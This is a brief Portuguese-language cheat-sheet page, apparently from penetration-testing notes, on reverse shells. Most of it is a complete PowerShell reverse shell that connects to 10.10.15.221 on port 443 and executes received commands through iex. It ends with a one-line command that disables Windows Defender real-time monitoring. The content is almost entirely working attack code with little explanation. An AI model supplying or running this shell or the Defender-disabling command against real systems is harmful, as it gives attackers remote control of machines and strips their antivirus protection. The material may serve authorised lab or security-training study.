Reverse Shells

Com um reverse shell, a caixa de ataque terá um ouvinte em execução, e o alvo precisará iniciar a conexão.

  • Powershellone-liner usado para conectar de volta a um ouvinte que foi iniciado em uma caixa de ataque

try {
    $client = New-Object System.Net.Sockets.TCPClient('10.10.15.221',443)
    $stream = $client.GetStream()
    [byte[]]$bytes = 0..65535 | % {0}
    while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
        try {
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
            $sendback = (iex $data 2>&1 | Out-String)
            $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte, 0, $sendbyte.Length)
            $stream.Flush()
        } catch {
            # Handle any errors that occur during command execution
            $errorMsg = $_.Exception.Message
            $errorBytes = ([text.encoding]::ASCII).GetBytes('Error: ' + $errorMsg + 'PS ' + (pwd).Path + '> ')
            $stream.Write($errorBytes, 0, $errorBytes.Length)
            $stream.Flush()
        }
    }
} catch {
    # Handle any errors that occur during the connection setup
    Write-Host "Error: $($_.Exception.Message)"
} finally {
    $client.Close()
}
  • Comando Powershell usado para desabilitar o monitoramento em tempo real emWindows Defender

Set-MpPreference -DisableRealtimeMonitoring $true	

Last updated